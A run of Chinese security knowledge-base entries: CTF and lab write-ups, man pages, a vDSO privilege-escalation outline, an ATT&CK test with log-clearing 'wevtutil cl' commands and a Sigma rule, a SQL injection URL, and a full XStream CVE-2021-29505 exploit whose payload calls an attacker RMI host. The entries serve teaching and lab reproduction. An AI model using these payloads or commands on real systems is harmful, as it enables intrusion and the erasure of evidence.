引入之后,vDSO 对应的 raw_data 则被标记为了初始化后只读。
```c
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __ro_after_init __aligned(PAGE_SIZE) = {",
mapping_size);
```
通过修改 vDSO 进行提权的基本方式如下
- 定位 vDSO
- 修改 vDSO 的特定函数为指定的 shellcode
- 等待触发执行 shellcode
这里我们着重关注下如何定位 vDSO。
#### ida 里定位
这里我们介绍一下如何在 vmlinux 中找到 vDSO 的位置。
1. 在 ida 里定位 init_vdso 函数的地址
```c
__int64 init_vdso()
{
init_vdso_image(&vdso_image_64 + 0x20000000);
init_vdso_image(&vdso_image_x32 + 0x20000000);
cpu_maps_update_begin();
on_each_cpu((char *)startup_64 + 0x100003EA0LL, 0LL, 1LL);
_register_cpu_notifier(&sdata + 536882764);
cpu_maps_update_done();
return 0LL;
}
```
2. 可以看到 `vdso_image_64` 和 `vdso_image_x32`。以`vdso_image_64` 为例,点到该变量的地址
```
.rodata:FFFFFFFF81A01300 public vdso_image_64
.rodata:FFFFFFFF81A01300 vdso_image_64 dq offset raw_data ; DATA XREF: arch_setup_additional_pages+18↑o
.rodata:FFFFFFFF81A01300 ; init_vdso+1↓o
```
3. 点击 `raw_data` 即可知道 64 位 vDSO 在内核镜像中的地址,可以看到,vDSO 确实是以页对齐的。
```
.data:FFFFFFFF81E04000 raw_data db 7Fh ; ; DATA XREF: .rodata:vdso_image_64↑o
.data:FFFFFFFF81E04001 db 45h ; E
.data:FFFFFFFF81E04002 db 4Ch ; L
.data:FFFFFFFF81E04003 db 46h ; F
```
从最后的符号来看,我们也可以直接使用 `raw_data` 来寻找 vDSO。
#### 内存中定位
##### 直接定位
vDSO 其实是一个 ELF 文件,具有 ELF 文件头。同时,vDSO 中特定位置存储着导出函数的字符串。因此我们可以根据这两个特征来扫描内存,定位 vDSO 的位置。
##### 间接定位
考虑到 vDSO 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 vDSO 的地址。
#### 参考
- https://lwn.net/Articles/676145/
- https://lwn.net/Articles/666550/
|
sec-knowleage
|
# 中间相遇攻击 - MITM
## 概述
中间相遇攻击是一种以空间换取时间的一种攻击方法,1977年由 Diffie 与 Hellman 提出。从个人角度看,者更多地指一种思想,不仅仅适用于密码学攻击,也适用于其他方面,可以降低算法的复杂度。
基本原理如下
假设 E 和 D 分别是加密函数和解密函数,k1 和 k2 分别是两次加密使用的密钥,则我们有
$C=E_{k_2}(E_{k_1}(P))$
$P=D_{k_1}(D_{k_2}(C))$
则我们可以推出
$E_{k_1}(P)=D_{k_2}(C)$
那么,当用户知道一对明文和密文时
1. 攻击者可以枚举所有的 k1,将 P 所有加密后的结果存储起来,并按照密文的大小进行排序。
2. 攻击者进一步枚举所有的k2,将密文 C 进行解密得到 C1,在第一步加密后的结果中搜索 C1,如果搜索到,则我们在一定程度上可以认为我们找到了正确的 k1 和 k2。
3. 如果觉得第二步中得到的结果不保险,则我们还可以再找一些明密文对进行验证。
假设 k1 和 k2 的密钥长度都为 n,则原先我们暴力枚举需要 $O(n^2)$,现在我们只需要 $O(n log_2n)$。
这与 2DES 的中间相遇攻击类似。
## 题目
- 2018 国赛 Crackmec,参见 Wiki AES 部分
- 2018 Plaid CTF Transducipher,参见比特攻击部分的原理。
- 2018 国赛 Crackme java,参见 Wiki 整数域上的离散对数部分
- 2018 WCTF RSA,参见 wiki RSA Complex 部分
## 参考文献
- https://zh.wikipedia.org/wiki/%E4%B8%AD%E9%80%94%E7%9B%B8%E9%81%87%E6%94%BB%E6%93%8A
|
sec-knowleage
|
clock
===
用于调整 RTC 时间
## 补充说明
**clock命令**用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。
### 语法
```shell
clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
```
### 选项
```shell
--adjust 第一次使用"--set"或"--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
--debug 详细显示指令执行过程,便于排错或了解程序执行的情形。
--directisa 告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
--getepoch 把系统核心内的硬件时钟新时代数值,呈现到标准输出设备。
--hctosys Hardware Clock to System Time,把系统时间设成和硬件时钟一致。由于这个动作将会造成系统全面更新文件的存取时间,所以最好在系统启动时就执行它。
--set--date 设置硬件时钟的日期和时间。
--setepoch--epoch=<年份> 设置系统核心之硬件时钟的新时代数值,年份以四位树字表示。
--show 读取硬件时钟的时间,并将其呈现至标准输出设备。
--systohc System Time to Hardware Clock,将系统时间存回硬件时钟内。
--test 仅作测试,并不真的将时间写入硬件时钟或系统时间。
--utc 把硬件时钟上的时间时为CUT,有时也称为UTC或UCT。
--version 显示版本信息。
```
### 实例
获取当前的时间
```shell
clock # 获取当前的时间
```
显示UTC时间
```shell
clock -utc #显示UTC时间
```
|
sec-knowleage
|
from library import *
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1])
normalize(t)
smooth(t, 25)
align_fft(t, 35000)
print_corr(t)
i, o, t = filter_corr(i, o, t, 0.4)
print len(t)
show_traces(t)
|
sec-knowleage
|
# T1027-005-windows-SDelete删除文件
## 来自ATT&CK的描述
攻击者可能会删除或更改主机系统上的生成物,包括日志和捕获的文件,例如隔离的恶意软件。尽管日志的位置和格式会有所不同,但典型的有机系统日志会被捕获为Windows事件或Linux/MacOS文件,如Bash History和/var/log/*。
事件干扰操作和其他可用于检测入侵活动的通知可能会损害安全解决方案的完整性,导致事件无法报告。它们也可能会导致取证分析和事件响应变得更加困难,因为它们缺乏足够的数据来确定发生了什么。
清除Windows事件日志
Windows事件日志是计算机警报和通知记录。微软将事件定义为“系统或程序中需要通知用户或将条目添加到日志中的任何重要事件”。有三个系统定义的事件源:系统、应用和安全。
执行账号管理、账号登录和目录服务访问等相关操作的攻击者可以选择清除事件来隐藏其活动。
可以使用以下实用程序命令清除事件日志:
· wevtutil cl system
· wevtutil cl application
· wevtutil cl security
也可以使用其他机制(如PowerShell)清除日志。
## 测试案例
SDelete是一个带有许多选项的命令行实用工具。按照任何给定用法,都可以使用它删除一个或多个文件或目录,或者清理逻辑磁盘上的可用空间。SDelete将通配符接受为目录或文件说明符的一部分。
## 检测日志
windows security
## 测试复现
### 下载SDelete文件
下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/sdelete
### 执行删除操作
```bash
C:\Users\12306Br0\Desktop\SDelete>sdelete64.exe -s SDelete.zip
SDelete v2.02 - Secure file delete
Copyright (C) 1999-2018 Mark Russinovich
Sysinternals - www.sysinternals.com
SDelete is set for 1 pass.
No files/folders found that match SDelete.zip.
```
## 测试留痕
```log
Event-ID: 4663
试图访问对象。
对象:
安全 ID: SYSTEM
帐户名: 12306BR0-PC$
帐户域: WORKGROUP
登录 ID: 0x3e7
对象:
对象服务器: Security
对象类型: File
对象名: C:\Windows\System32\mapi32.dll
句柄 ID: 0x4e8
进程信息:
进程 ID: 0x128
进程名: C:\Windows\servicing\TrustedInstaller.exe
访问请求信息:
访问: DELETE
访问掩码: 0x10000
```
## 检测规则/思路
### sigma规则
```yml
title: 使用SDelete安全删除
status: experimental
description: 使用SDelete工具删除文件时检测文件重命名
author: 12306Br0(测试+翻译)
date: 2020/06/09
references:
- https://jpcertcc.github.io/ToolAnalysisResultSheet
- https://www.jpcert.or.jp/english/pub/sr/ir_research.html
- https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx
tags:
- attack.defense_evasion
- attack.t1027
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4656
- 4663
- 4658
ObjectName:
- '*.AAA'
- '*.ZZZ'
condition: selection
falsepositives:
- 合法使用SDelete,测试结果不如人意,建议谨慎使用
level: low
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1027-005
<https://attack.mitre.org/techniques/T1027/005/>
MITRE-ATT&CK-T1066
<https://attack.mitre.org/techniques/T1066/>
|
sec-knowleage
|
# URL anonymizer (web, 200p)
###ENG
[PL](#pl-version)
In description of the task we got URI pointing to source of admin.php and information that the application provides URL shortening functionality.
Source of file : http://10.13.37.12/admin.php?source
```php
<?php
include_once('config.php');
if(isset($_GET['source']) && $_SERVER['SCRIPT_FILENAME'] == __FILE__) {
highlight_file(__FILE__);
die();
}
//lazy admin approach to "authenticate"
if($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
//die('You are not allowed.');
}
$title = '';
$content = '';
$page = @$_REQUEST['page'];
switch($page) {
case '':
default:
break;
case 'reports':
$title = 'Reports';
$q = $db->query('SELECT * FROM `reports` where view=0');
while($row = $q->fetch_array()) {
$content .= '<div class="r"><a href="http://localhost/admin.php?page=report&id='.$row['hash'].'">Report '.$row['id'].'</a><a href="http://localhost/admin.php?page=hide&id='.$row['id'].'">Hide</a></div>';
}
break;
case 'hide':
$id = intval(@$_REQUEST['id']);
$db->query('UPDATE reports set view=1 where id='.$id);
break;
case 'report':
if(isset($_GET['id'])) {
$r = $db->query('SELECT * FROM `urls` where hash="'.$_GET['id'].'"');
$r = $r->fetch_array();
$content .= 'Clicked: '.(intval($r['hits'])>0?'Yes':'No');
$content .= '<br>Reported URL: '.$r['url'];
$db->query('UPDATE reports SET view=1 WHERE hash="'.$db->real_escape_string($_GET['id']).'"');
}else {
die('Invalid Request.');
}
break;
}
echo showContent($title, $content);
```
In general, we can see two different views , one where we can submit URL to be shortened

and the other place where we can submit wrongly working URL

However, the most interesting part is the admin.php and we can see that inside 'report' section we have unsanitized SQL Injection, therefore we try to reach this URL with already prepared query (UNION SELECT) and get in response:

URL : http://10.13.37.12/admin.php?page=report&id=1%22%20UNION%20SELECT%201,2,flag,4%20from%20flag%20where%201=%221
flag : DCTF{30bce3bb3c2b030c1480179046409729}
###PL version
W opisie zadania otrzymaliśmy URI wskazujący na źródło pliku admin.php i informacje że aplikacja dostarcza możliwość skracania adresów URL.
Źródło pliku : http://10.13.37.12/admin.php?source
```php
<?php
include_once('config.php');
if(isset($_GET['source']) && $_SERVER['SCRIPT_FILENAME'] == __FILE__) {
highlight_file(__FILE__);
die();
}
//lazy admin approach to "authenticate"
if($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
//die('You are not allowed.');
}
$title = '';
$content = '';
$page = @$_REQUEST['page'];
switch($page) {
case '':
default:
break;
case 'reports':
$title = 'Reports';
$q = $db->query('SELECT * FROM `reports` where view=0');
while($row = $q->fetch_array()) {
$content .= '<div class="r"><a href="http://localhost/admin.php?page=report&id='.$row['hash'].'">Report '.$row['id'].'</a><a href="http://localhost/admin.php?page=hide&id='.$row['id'].'">Hide</a></div>';
}
break;
case 'hide':
$id = intval(@$_REQUEST['id']);
$db->query('UPDATE reports set view=1 where id='.$id);
break;
case 'report':
if(isset($_GET['id'])) {
$r = $db->query('SELECT * FROM `urls` where hash="'.$_GET['id'].'"');
$r = $r->fetch_array();
$content .= 'Clicked: '.(intval($r['hits'])>0?'Yes':'No');
$content .= '<br>Reported URL: '.$r['url'];
$db->query('UPDATE reports SET view=1 WHERE hash="'.$db->real_escape_string($_GET['id']).'"');
}else {
die('Invalid Request.');
}
break;
}
echo showContent($title, $content);
```
Po przejściu na adres aplikacji, możemy zauważyc dwa widoki, jeden w którym możemy wysyłać URL do skrócenia

i drugi widok, w którym możemy wysyłać źle działający URL

Jednal najciekawszym elementem jest zasób admin.php w którym możemy zauważyć że w ramach case'a "report" mamy SQL Injection, więc staramy się wysłać zapytanie z przygotowanym zapytaniem (UNION SELECT) i otrzymujemy w odpowiedzi :

URL : http://10.13.37.12/admin.php?page=report&id=1%22%20UNION%20SELECT%201,2,flag,4%20from%20flag%20where%201=%221
flag : DCTF{30bce3bb3c2b030c1480179046409729}
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990-1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: tkerror.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: tkerror.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH tkerror 3tk 4.1 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
tkerror \- 为处理后台错误而调用的命令
.SH "总览 SYNOPSIS"
\fBtkerror \fImessage\fR
.BE
.SH "描述 DESCRIPTION"
.PP
注意: 在 Tk 4.1 中把 \fBtkerror\fR 命令重新命名为 \fBbgerror\fR,原因是事件循环(这个命令通常被它所调用)现在是Tcl 的一部分了。为了反向兼容,如果存在 \fBtkerror\fR(或一个可自动装载的 tkerror),则当前的 Tk 版本提供的 \fBbgerror\fR 仍然尝试调用它,所以定义了错误处理器的老脚本仍然可以工作,但你应该设法修改你脚本来使用 \fBbgerror\fR 替代 \fBtkerror\fR,因为对老名字的支持在不久的将来可能不复存在。如果调用它失败,\fBbgerror\fR 将贴出(post)一个对话框显示这个错误并向用户提供栈跟踪。如果你想拥有自己的错误管理,你应该直接使用
\fBbgerror\fR 而不是 \fBtkerror\fR。\fBbgerror\fR 的文档可在 Tcl 的文档中获得。
.SH "关键字 KEYWORDS"
background error, reporting
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# XStream 反序列化命令执行漏洞(CVE-2021-29505)
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。
参考链接:
- [https://x-stream.github.io/CVE-2021-29505.html][1]
- https://paper.seebug.org/1543/
## 漏洞环境
执行如下命令启动一个Springboot + XStream 1.4.16的环境:
```
docker compose up -d
```
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

## 漏洞复现
作为攻击者,我们在自己的服务器上使用[ysoserial](https://github.com/frohoff/ysoserial)的JRMPListener启动一个恶意的RMI Registry:
```
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"
```
这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。
然后,我们向目标服务器发送CVE-2021-29505的XML POC:
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3169
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```
其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求:

进入目标容器内,可见``touch /tmp/success``已成功执行:

值得注意的是,我们没有直接使用[官网][1]给出的POC,那个POC是错的。
[1]: https://x-stream.github.io/CVE-2021-29505.html
|
sec-knowleage
|
# Moses
Category: Misc., 100 Points
## Description
> Grab that flag will you?
Two files were attached: `book.txt.` and `moses.txt`.
## Solution
Let's check the attached files:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ cat moses.txt
.... . .-.. .-.. --- .-- . --. --- - - .... . ..-. --- .-.. .-.. --- .-- .. -. --. -- . ... ... .- --. . ..-. .-. --- -- --- -. . --- ..-. --- ..- .-. ... .--. .. . ... -... ..- - ... .... . -.-. --- ..- .-.. -.. -. --- - ... .--. .- -.-. . -... . - .-- . . -. .-.. . - - . .-. ... .- -. -.. .-- --- .-. -.. ... .-- . -.- -. --- .-- ... .... . .-- .- ... - .-. -.-- .. -. --. - --- ... . -. -.. .- ... . --.- ..- . -. -.-. . --- ..-. .-- --- .-. -.. ... .- ... - .... . -.-- .- .--. .--. . .- .-. .. -. - .... .. ... -... --- --- -.- .... . .-.. .--. ..- ... ..-. .. -. -.. - .... . ... . --.- ..- . -. -.-. . ..- -. ..-. --- .-. - ..- -. .- - . .-.. .-.. -.-- ... --- -- . --- ..-. - --- -. . ... .-- . .-. . -. --- - -.-. .-.. . .- .-. ... --- .-- . .-. . .--. .-.. .- -.-. . -.. - .... . -- .-- .. - .... -..- -... . -.-. .- ..- ... . .-- . .-- . .-. . -. --- - ... ..- .-. . .. ..-. .. - .-- .- ... .- -.. --- - --- .-. .- .-.. .. -. .
----------------------------------------
x.xx...x.xxx..-xx-.xxxx.-.-xxx.-.x..x.xxxx..x.xxx.-.-.xx-.-xxx..-.xx.x.x.--x.xxx
----------------------------------------
- .... . ..-. .-.. .- --. .. ... - .... . ... . --.- ..- . -. -.-. . ... . .--. .- .-. .- - . -.. -... -.-- ..- -. -.. . .-. ... -.-. --- .-. . ... .. -. ... .. -.. . -.-. ..- .-. .-.. -.-- -... .-. .- -.-. -.- . - ... .- ..-. - . .-. ..- .--. .--. . .-. -.-. .- ... . -.-. ... .-
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ wc -c book.txt
718176 book.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ wc -l book.txt
12257 book.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ head book.txt
The Project Gutenberg EBook of The Odyssey, by Homer
This eBook is for the use of anyone anywhere in the United States and most
other parts of the world at no cost and with almost no restrictions
whatsoever. You may copy it, give it away or re-use it under the terms of
the Project Gutenberg License included with this eBook or online at
www.gutenberg.org. If you are not located in the United States, you'll have
to check the laws of the country where you are located before using this ebook.
```
The first file looks like morse code. The second one is a pretty long file based on The Project Gutenberg EBook of The Odyssey, by Homer.
We can use `CyberChef` to decode the morse:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ node
> const chef = require("/home/user/utils/CyberChef/");
undefined
> let file = new chef.Dish(fs.readFileSync("moses.txt"));
undefined
> file.apply(chef.fromMorseCode);
HELLOWEGOTTHEFOLLOWINGMESSAGEFROMONEOFOURSPIESBUTSHECOULDNOTSPACEBETWEENLETTERSANDWORDSWEKNOWSHEWASTRYINGTOSENDASEQUENCEOFWORDSASTHEYAPPEARINTHISBOOKHELPUSFINDTHESEQUENCEUNFORTUNATELLYSOMEOFTONESWERENOTCLEARSOWEREPLACEDTHEMWITHXBECAUSEWEWERENOTSUREIFITWASADOTORALINE THEFLAGISTHESEQUENCESEPARATEDBYUNDERSCORESINSIDECURLYBRACKETSAFTERUPPERCASECSA
```
Let's format that:
```
HELLO WE GOT THE FOLLOWING MESSAGE FROM ONE OF OUR SPIES BUT SHE COULD NOT SPACE BETWEEN LETTERS AND WORDS WE KNOW SHE WAS TRYING TO SEND A SEQUENCE OF WORDS AS THEY APPEAR IN THIS BOOK HELP US FIND THE SEQUENCE UNFORTUNATELLY SOME OF TONES WERE NOT CLEAR SO WE REPLACED THEM WITH X BECAUSE WE WERE NOT SURE IF IT WAS A DOT OR A LINE
----------------------------------------
x.xx...x.xxx..-xx-.xxxx.-.-xxx.-.x..x.xxxx..x.xxx.-.-.xx-.-xxx..-.xx.x.x.--x.xxx
----------------------------------------
THE FLAG IS THE SEQUENCE SEPARATED BY UNDERSCORES INSIDE CURLY BRACKETS AFTER UPPER CASE CSA
```
Ok, so we need to process the text, which is easier with Python. We'll implement some basic functions to translate to and from morse:
```python
import re
SPACE_MARKER = '/'
LETTER_SEPARATOR = ' '
MORSE_CODE = {
' ': SPACE_MARKER,
"'": '.----.', '(': '-.--.-', ')': '-.--.-', ',': '--..--', '-': '-....-',
'.': '.-.-.-', '/': '-..-.', '0': '-----', '1': '.----', '2': '..---', '3': '...--',
'4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.',
':': '---...', ';': '-.-.-.', '?': '..--..', 'A': '.-', 'B': '-...', 'C': '-.-.',
'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---',
'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-',
'R': '.-.', 'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-',
'Y': '-.--', 'Z': '--..', '_': '..--.-'
}
MORSE_CODE_REV = {v: k for k, v in MORSE_CODE.items()}
def to_morse_code(plaintext: str, ignore_unknown: bool = False) -> str:
res = ""
for c in plaintext.upper():
try:
res += MORSE_CODE[c] + LETTER_SEPARATOR
except KeyError:
if not ignore_unknown:
raise
return res
def from_morse_code(code: str) -> str:
res = ""
for c in code.split(LETTER_SEPARATOR):
try:
res += MORSE_CODE_REV[c]
except KeyError:
if c != '':
raise
return res
```
Now, we need to translate the book to morse, and remove the spaces (since the agent did not include spaces):
```python
with open("book.txt", "r", encoding="utf8") as f:
pattern = "x.xx...x.xxx..-xx-.xxxx.-.-xxx.-.x..x.xxxx..x.xxx.-.-.xx-.-xxx..-.xx.x.x.--x.xxx"
book = f.read()
book_morse = to_morse_code(book, ignore_unknown = True)
book_morse_no_spaces = book_morse.replace(LETTER_SEPARATOR, "").replace(SPACE_MARKER, "")
print(f"[*] Searching for pattern: '{pattern}'")
matches = list(re.finditer(pattern.replace(".", "\.").replace("x", "."), book_morse_no_spaces))
print(f"[*] Found {len(matches)} matches")
for match_index, match in enumerate(matches):
print(f"[*] Match #{match_index + 1}: '{match.group(0)}' at index {match.start()}")
```
